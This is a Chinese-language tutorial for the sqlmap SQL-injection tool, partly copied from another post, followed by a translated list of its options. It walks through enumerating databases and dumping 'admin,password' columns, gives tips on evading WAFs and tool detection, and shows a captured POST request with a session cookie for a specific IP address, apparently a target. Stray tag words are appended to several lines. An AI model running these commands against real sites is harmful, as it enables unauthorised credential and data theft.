./sqlmap.py -u '目標網址'php
./sqlmap.py -u '目標網址' --dbs -v 0 顯示數據庫python
./sqlmap.py -u '目標網址' -D 數據庫 --tables 查表正則表達式
./sqlmap.py -u '目標網址' -D 數據庫 -T 表 --columns 列sql
./sqlmap.py -u '目標網址' -D 數據庫 -T 表 --columns --dump 導出shell
注入分法不一樣,種類不一樣,來個簡單的分類:數據庫
1.get型:sqlmap -u 「http://xxx.xx.xxx/xx.xxx?xx=xxx」 後端
2.post型: sqlmap -u 「http://xxx.xx.xxx/xx.xxx」 --data=」xxxx=xxxx&xxxx=xxx」安全
3.cookie類注入: sqlmap -u 「http://xxx.xx.xxx/xx.xxx?xx=xxx」 --cookie=」xxx=xxx&xxx=xxx」 –level=2cookie
---------------下面是複製來的----------------session
最近看到不少大牛發sqlmap的視頻教程。
而後偶就屁顛屁顛滾去下了一個,而後尼瑪,一連從頭看到尾。。。。。。各類科普啊,看視頻有點浪費時間。
各位別去被坑爹了,來個sqlmap 簡易教程算了,何須浪費看視頻的時間。
sqlmap 再牛逼也就是個python的腳本,腳本再牛逼也得有–help -hh
因此第一件事固然是滾去看幫助文檔。
sqlmap -hh
我操。。。。。。。這麼多英文,多少隻草泥馬在心中奔騰,咋辦,硬着頭皮看唄,有些人頭皮硬不了咋辦,簡單,來,哥教你簡單的
注入分法不一樣,種類不一樣,來個簡單的分類:
1.get型:sqlmap -u 「http://xxx.xx.xxx/xx.xxx?xx=xxx」
2.post型: sqlmap -u 「http://xxx.xx.xxx/xx.xxx」 –data=」xxxx=xxxx&xxxx=xxx」
3.cookie類注入: sqlmap -u 「http://xxx.xx.xxx/xx.xxx?xx=xxx」 –cookie=」xxx=xxx&xxx=xxx」 –level=2
好,區分完畢再來後續的
須要數據庫好:–dbs
獲得數據庫名稱xxx,須要表: -D xxx –tables
獲得表名xxxx,須要段:-D xxx -T xxxx –columns
獲得段內有admin,password,須要值:-D xxx -T xxxx -C 「admin,password」 –dump
那麼咱們來理解一下,-D -T -C 是幹嘛的,固然就是知道其名稱,指定使用其。
–dbs –tables –columns 是幹嘛的,固然就是不知道名稱,列出來唄
–dump 那天然就是字面意思,相似於導出數據的行爲
其實注入有了上面這幾個命令,妥妥的夠用了,不過還須要繞waf –tamper=」"
注入被識別出來是工具,斷開咋辦–user-agent=」"
再多牛逼的功能都是慢慢積累出來的,別想一口吃成胖子
http://202.200.48.24:8800/index.php?action=editpwd
POST /index.php?action=editpwd HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://202.200.48.24:8800/index.php?action=editpwd
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; qdesk 2.4.1265.203; Windows NT 6.1; WOW64; Trident/5.0)
Host: 202.200.48.24:8800
Content-Length: 27
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: PHPSESSID=ikorg5mtdb73t5anh59sl6pft6
ts=getemail&username=123456
-cookie='PHPSESSID=ikorg5mtdb73t5anh59sl6pft6'
SQLMAP參數解釋
Options(選項):
--version顯示程序的版本號並退出
-h,--help顯示此幫助消息並退出
-vVERBOSE詳細級別:0-6(默認爲1)
Target(目標):
如下至少須要設置其中一個選項,設置目標URL。
-dDIRECT直接鏈接到數據庫。
-uURL,--url=URL目標URL。
-lLIST從Burp或WebScarab代理的日誌中解析目標。
-rREQUESTFILE從一個文件中載入HTTP請求。
-gGOOGLEDORK處理Googledork的結果做爲目標URL。
-cCONFIGFILE從INI配置文件中加載選項。
Request(請求):
這些選項能夠用來指定如何鏈接到目標URL。
--data=DATA經過POST發送的數據字符串
--cookie=COOKIEHTTPCookie頭
--cookie-urlencodeURL編碼生成的cookie注入
--drop-set-cookie忽略響應的Set-Cookie頭信息
--user-agent=AGENT指定HTTPUser-Agent頭
--random-agent使用隨機選定的HTTPUser-Agent頭
--referer=REFERER指定HTTPReferer頭
--headers=HEADERS換行分開,加入其餘的HTTP頭
--auth-type=ATYPEHTTP身份驗證類型(基本,摘要或NTLM)(Basic,DigestorNTLM)
--auth-cred=ACREDHTTP身份驗證憑據(用戶名:密碼)
--auth-cert=ACERTHTTP認證證書(key_file,cert_file)
--proxy=PROXY使用HTTP代理鏈接到目標URL
--proxy-cred=PCREDHTTP代理身份驗證憑據(用戶名:密碼)
--ignore-proxy忽略系統默認的HTTP代理
--delay=DELAY在每一個HTTP請求之間的延遲時間,單位爲秒
--timeout=TIMEOUT等待鏈接超時的時間(默認爲30秒)
--retries=RETRIES鏈接超時後從新鏈接的時間(默認3)
--scope=SCOPE從所提供的代理日誌中過濾器目標的正則表達式
--safe-url=SAFURL在測試過程當中常常訪問的url地址
--safe-freq=SAFREQ兩次訪問之間測試請求,給出安全的URL
Optimization(優化):
這些選項可用於優化SqlMap的性能。
-o開啓全部優化開關
--predict-output預測常見的查詢輸出
--keep-alive使用持久的HTTP(S)鏈接
--null-connection從沒有實際的HTTP響應體中檢索頁面長度
--threads=THREADS最大的HTTP(S)請求併發量(默認爲1)
Injection(注入):
這些選項能夠用來指定測試哪些參數,提供自定義的注入payloads和可選篡改腳本。
-pTESTPARAMETER可測試的參數(S)
--dbms=DBMS強制後端的DBMS爲此值
--os=OS強制後端的DBMS操做系統爲這個值
--prefix=PREFIX注入payload字符串前綴
--suffix=SUFFIX注入payload字符串後綴
--tamper=TAMPER使用給定的腳本(S)篡改注入數據
Detection(檢測):
這些選項能夠用來指定在SQL盲注時如何解析和比較HTTP響應頁面的內容。
--level=LEVEL執行測試的等級(1-5,默認爲1)
--risk=RISK執行測試的風險(0-3,默認爲1)
--string=STRING查詢時有效時在頁面匹配字符串
--regexp=REGEXP查詢時有效時在頁面匹配正則表達式
--text-only僅基於在文本內容比較網頁
Techniques(技巧):
這些選項可用於調整具體的SQL注入測試。
--technique=TECHSQL注入技術測試(默認BEUST)
--time-sec=TIMESECDBMS響應的延遲時間(默認爲5秒)
--union-cols=UCOLS定列範圍用於測試UNION查詢注入
--union-char=UCHAR用於暴力猜解列數的字符
Fingerprint(指紋):
-f,--fingerprint執行檢查普遍的DBMS版本指紋
Enumeration(枚舉):
這些選項能夠用來列舉後端數據庫管理系統的信息、表中的結構和數據。此外,您還能夠運行您本身
的SQL語句。
-b,--banner檢索數據庫管理系統的標識
--current-user檢索數據庫管理系統當前用戶
--current-db檢索數據庫管理系統當前數據庫
--is-dba檢測DBMS當前用戶是否DBA
--users枚舉數據庫管理系統用戶
--passwords枚舉數據庫管理系統用戶密碼哈希
--privileges枚舉數據庫管理系統用戶的權限
--roles枚舉數據庫管理系統用戶的角色
--dbs枚舉數據庫管理系統數據庫
--tables枚舉的DBMS數據庫中的表
--columns枚舉DBMS數據庫表列
--dump轉儲數據庫管理系統的數據庫中的表項
--dump-all轉儲全部的DBMS數據庫表中的條目
--search搜索列(S),表(S)和/或數據庫名稱(S)
-DDB要進行枚舉的數據庫名
-TTBL要進行枚舉的數據庫表
-CCOL要進行枚舉的數據庫列
-UUSER用來進行枚舉的數據庫用戶
--exclude-sysdbs枚舉表時排除系統數據庫
--start=LIMITSTART第一個查詢輸出進入檢索
--stop=LIMITSTOP最後查詢的輸出進入檢索
--first=FIRSTCHAR第一個查詢輸出字的字符檢索
--last=LASTCHAR最後查詢的輸出字字符檢索
--sql-query=QUERY要執行的SQL語句
--sql-shell提示交互式SQL的shell
Bruteforce(蠻力):
這些選項能夠被用來運行蠻力檢查。
--common-tables檢查存在共同表
--common-columns檢查存在共同列
User-definedfunctioninjection(用戶自定義函數注入):
這些選項能夠用來建立用戶自定義函數。
--udf-inject注入用戶自定義函數
--shared-lib=SHLIB共享庫的本地路徑
Filesystemaccess(訪問文件系統):
這些選項能夠被用來訪問後端數據庫管理系統的底層文件系統。
--file-read=RFILE從後端的數據庫管理系統文件系統讀取文件
--file-write=WFILE編輯後端的數據庫管理系統文件系統上的本地文件
--file-dest=DFILE後端的數據庫管理系統寫入文件的絕對路徑
Operatingsystemaccess(操做系統訪問):
這些選項能夠用於訪問後端數據庫管理系統的底層操做系統。
--os-cmd=OSCMD執行操做系統命令
--os-shell交互式的操做系統的shell
--os-pwn獲取一個OOBshell,meterpreter或VNC
--os-smbrelay一鍵獲取一個OOBshell,meterpreter或VNC
--os-bof存儲過程緩衝區溢出利用
--priv-esc數據庫進程用戶權限提高
--msf-path=MSFPATHMetasploitFramework本地的安裝路徑
--tmp-path=TMPPATH遠程臨時文件目錄的絕對路徑
Windows註冊表訪問:
這些選項能夠被用來訪問後端數據庫管理系統Windows註冊表。
--reg-read讀一個Windows註冊表項值
--reg-add寫一個Windows註冊表項值數據
--reg-del刪除Windows註冊表鍵值
--reg-key=REGKEYWindows註冊表鍵
--reg-value=REGVALWindows註冊表項值
--reg-data=REGDATAWindows註冊表鍵值數據
--reg-type=REGTYPEWindows註冊表項值類型
General(通常):
這些選項能夠用來設置一些通常的工做參數。
-tTRAFFICFILE記錄全部HTTP流量到一個文本文件中
-sSESSIONFILE保存和恢復檢索會話文件的全部數據
--flush-session刷新當前目標的會話文件
--fresh-queries忽略在會話文件中存儲的查詢結果
--eta顯示每一個輸出的預計到達時間
--update更新SqlMap
--savefile保存選項到INI配置文件
--batch從不詢問用戶輸入,使用全部默認配置。
Miscellaneous(雜項):
--beep發現SQL注入時提醒
--check-payloadIDS對注入payloads的檢測測試
--cleanupSqlMap具體的UDF和表清理DBMS
--forms對目標URL的解析和測試形式
--gpage=GOOGLEPAGE從指定的頁碼使用谷歌dork結果
--page-rankGoogledork結果顯示網頁排名(PR)
--parse-errors從響應頁面解析數據庫管理系統的錯誤消息
--replicate複製轉儲的數據到一個sqlite3數據庫
--tor使用默認的Tor(Vidalia/Privoxy/Polipo)代理地址
--wizard給初級用戶的簡單向導界面